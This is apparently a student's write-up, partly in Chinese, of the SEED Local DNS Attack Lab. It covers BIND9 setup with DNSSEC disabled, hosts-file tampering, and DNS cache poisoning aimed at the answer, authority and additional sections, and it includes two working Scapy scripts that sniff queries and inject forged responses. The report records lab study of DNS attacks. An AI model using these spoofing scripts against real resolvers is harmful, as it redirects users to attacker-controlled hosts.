lab5

1. Local DNS Attack Lab

1.1. Lab Tasks (Part I): Setting Up a Local DNS Server

1.1.1. Task 1: Configure the User Machine

将dns设置为本地dns服务器地址10.0.2.5

```
[09/14/20]seed@VM:~$ sudo vim /etc/resolv.conf
[09/14/20]seed@VM:~$ dig baidu.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> baidu.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26341
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;baidu.com.                     IN      A

;; ANSWER SECTION:
baidu.com.              26      IN      A       39.156.69.79

;; Query time: 28 msec
;; SERVER: 10.0.2.5#53(10.0.2.5)
;; WHEN: Mon Sep 14 20:03:59 EDT 2020
;; MSG SIZE  rcvd: 54
```

1.1.2. Task 2: Set up a Local DNS Server

1. Step 1: Configure the BIND 9 server.

```
        // dnssec-validation auto;
        dnssec-enable no;
        dump-file "/var/cache/bind/dump.db";
        auth-nxdomain no;    # conform to RFC1035
```

2. Step 2: Turn off DNSSEC.

```
        // dnssec-validation auto;
        dnssec-enable no;
        dump-file "/var/cache/bind/dump.db";
        auth-nxdomain no;    # conform to RFC1035
```

3. Step 3: Start DNS server.

```
[09/14/20]seed@VM:.../bind$ sudo service bind9 restart
```

4. Step 4: Use the DNS server.

   第一次ping时在wireshark中可以看到递归的dns请求：

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-09-14 20:28:25.0857994…	10.0.2.4	10.0.2.5	DNS	69	Standard …
2	2020-09-14 20:28:25.0865100…	10.0.2.5	198.97.190.53	DNS	80	Standard …
3	2020-09-14 20:28:25.0866179…	10.0.2.5	198.97.190.53	DNS	70	Standard …
4	2020-09-14 20:28:25.0981059…	198.97.190.53	10.0.2.5	DNS	85	Standard …
5	2020-09-14 20:28:25.0985407…	10.0.2.5	10.0.2.4	DNS	85	Standard …

   第二次ping时发现10.0.2.5直接返回了响应，没有进行递归请求，说明此时dns cache已经生

效：

```
49 2020-09-14 20:29:22.2008069… 10.0.2.4    10.0.2.5    DNS    69 Standard q…
50 2020-09-14 20:29:22.2013184… 10.0.2.5    10.0.2.4    DNS    85 Standard q…
```

验证cache文件，发现的确如此

```
; Dump complete
[09/14/20]seed@VM:.../bind$ cat dump.db | grep baid
baidu.com.              30      IN A    39.156.69.79
```

1.1.3. Task 3: Host a Zone in the Local DNS Server

1. Step 1: Create zones.
2. Step 2: Setup the forward lookup zone file.

```
Terminal
$TTL 3D ; default expiration time of all resource records without their own TTL
@    IN    SOA    ns.example.com.    admin.example.com. (
     1 ; Serial
     8H ; Refresh
     2H ; Retry
     4W ; Expire
     1D ) ; Minimum

@               IN NS ns.example.com. ;Address of nameserver
@               IN MX 10 mail.example.com. ;Primary Mail Exchanger
www             IN A 192.168.0.101 ;Address of www.example.com
mail            IN A 192.168.0.102 ;Address of mail.example.com
ns              IN A 192.168.0.10 ;Address of ns.example.com
*.example.com.  IN A 192.168.0.100 ;Address for other URL in the example.com dom
ain
```

3. Step 3: Set up the reverse lookup zone file.

```
Terminal
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
1
8H
2H
4W
1D)
@ IN NS ns.example.com.
101 IN PTR www.example.com.
102 IN PTR mail.example.com.
10 IN PTR ns.example.com.
```

4. Step 4: Restart the BIND server and test.
   请求结果和事先设定的结果一致。

```
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       192.168.0.101

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         259200  IN      A       192.168.0.10
```

1.2. Lab Tasks (Part II): Attacks on DNS

1.2.1. Task 4: Modifying the Host File

修改hosts前显示unknow host，修改hosts后可以正常获取到ip。

```
[09/14/20]seed@VM:~$ ping  www.bank32.com
ping: unknown host www.bank32.com
[09/14/20]seed@VM:~$ vim /etc/hosts
[09/14/20]seed@VM:~$ sudo vim /etc/hosts
[09/14/20]seed@VM:~$ ping  www.bank32.com
PING www.bank32.com (8.8.8.8) 56(84) bytes of data.
64 bytes from www.bank32.com (8.8.8.8): icmp_seq=1 ttl=110 time=188 ms
```

1.2.2. Task 5: Directly Spoofing Response to User

将baidu.com重定向到8.8.8.8。

```
[09/14/20]seed@VM:~$ dig baidu.com ns

; <<>> DiG 9.10.3-P4-Ubuntu <<>> baidu.com ns
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60948
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;baidu.com.                     IN      NS

;; ANSWER SECTION:
baidu.com.              10      IN      NS      8.8.8.8.
```

1.2.3. Task 6: DNS Cache Poisoning Attack

将seu.edu.cn重定向到2.2.2.2。

```
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.seu.edu.cn.                        IN      A

;; ANSWER SECTION:
www.seu.edu.cn.         900     IN      A       2.2.2.2
```

1.2.4. Task 7: DNS Cache Poisoning: Targeting the Authority Section

将seu.edu.cn的权威域名服务器伪造为fake.seu.edu.cn并指向8.8.4.4。

```
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.seu.edu.cn.                        IN      A

;; ANSWER SECTION:
www.seu.edu.cn.         900     IN      A       2.2.2.2

;; AUTHORITY SECTION:
.                       900     IN      NS      fake.seu.edu.cn.

;; ADDITIONAL SECTION:
fake.seu.edu.cn.        900     IN      A       8.8.4.4
```

伪造后的ns记录成功进入本地dns的缓存

```
[09/14/20]seed@VM:.../bind$ cat dump.db | grep fake
.                       851     IN NS   fake.seu.edu.cn.
seu.edu.cn.             851     NS      fake.seu.edu.cn.
fake.seu.edu.cn.        851     A       8.8.4.4
```

1.2.5. Task 8: Targeting Another Domain

经过测试，只有出现在Query中的主机名的NS服务器可以出现在AUTHORITY SECTION中。
如图所示，伪造报文的AUTHORITY SECTION中有两条记录，分别是`seu.edu.cn`和`www.seu.edu.cn`：

```
ns        : DNSRRField                          = <DNSRR  rrname='seu.edu.cn.'
type=NS ttl=600 rdata='fake.com' |<DNSRR  rrname='www.seu.edu.cn.' type=NS ttl=6
00 rdata='fake.com' |>> (None)
ar        : DNSRRField                          = <DNSRR  rrname='fake.com.' ty
```

最终被bind9接受，并缓存的，只有`seu.edu.cn`：

```
;; ANSWER SECTION:
seu.edu.cn.             600     IN      A       8.8.8.8

;; AUTHORITY SECTION:
seu.edu.cn.             600     IN      NS      fake.com.

;; ADDITIONAL SECTION:
fake.com.               600     IN      A       8.8.8.8
```

代码如下：

```
#!/usr/bin/python3
from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '172.16.1.63'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=600, rdata=
'8.8.8.8'),
                      ns=DNSRR(rrname='seu.edu.cn.', type=2, ttl=600, rdata='fak
e.com')/DNSRR(rrname='www.seu.edu.cn.', type=2, ttl=600, rdata='fake.com'),
                      ar=DNSRR(rrname='fake.com.', type=1, ttl=600, rdata='8.8.8
.8')/DNSRR(rrname='foo.fake.com.', type=1, ttl=600, rdata='8.8.8.8')/DNSRR(rrnam
e='foo.com.', type=1, ttl=600, rdata='8.8.8.8'),
                      arcount=3,
                      nscount=2
        )
        send(spoofed_pkt)
        print(ls(spoofed_pkt))
        #print('Sent:', spoofed_pkt.summary())
sniff(filter='src host 10.0.2.5 and udp dst port 53',store=0, prn=dns_spoof)
```

1.2.6. Task 9: Targeting the Additional Section

经过测试，只有出现在ANSWER SECTION中的主机名才可以出现在ADDITIONAL SECTION中，并被缓存。
如图所示，伪造报文的ADDITIONAL SECTION中包含2个record，分别是`fake.com`，`foo.fake.com`，`foo.com`：

```
ar        : DNSRRField                          = <DNSRR  rrname='fake.com.' ty
pe=A ttl=600 rdata=8.8.8.8 |<DNSRR  rrname='foo.fake.com.' type=A ttl=600 rdata=
8.8.8.8 |<DNSRR  rrname='foo.com.' type=A ttl=600 rdata=8.8.8.8 |>>> (None)
```

最终被bind接受，并缓存的，只有`fake.com`，因为`fake.com`同时出现在在ANSWER SECTION中：

```
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;seu.edu.cn.                    IN      NS

;; ANSWER SECTION:
seu.edu.cn.             600     IN      NS      fake.com.

;; ADDITIONAL SECTION:
fake.com.               600     IN      A       8.8.8.8

;; Query time: 30 msec
;; SERVER: 10.0.2.5#53(10.0.2.5)
```

代码如下：

```
#!/usr/bin/python3
from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '172.16.1.63'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname, type=2, ttl=600, rdata=
'fake.com'),
                      ns=DNSRR(rrname='seu.edu.cn.', type=2, ttl=600, rdata='fak
e.com')/DNSRR(rrname='www.seu.edu.cn.', type=2, ttl=600, rdata='fake.com'),
                      ar=DNSRR(rrname='fake.com.', type=1, ttl=600, rdata='8.8.8
.8')/DNSRR(rrname='foo.fake.com.', type=1, ttl=600, rdata='8.8.8.8')/DNSRR(rrnam
e='foo.com.', type=1, ttl=600, rdata='8.8.8.8'),
                      arcount=3,
                      nscount=2
        )
        send(spoofed_pkt)
        print(ls(spoofed_pkt))
        #print('Sent:', spoofed_pkt.summary())
sniff(filter='src host 10.0.2.5 and udp dst port 53',store=0, prn=dns_spoof)
```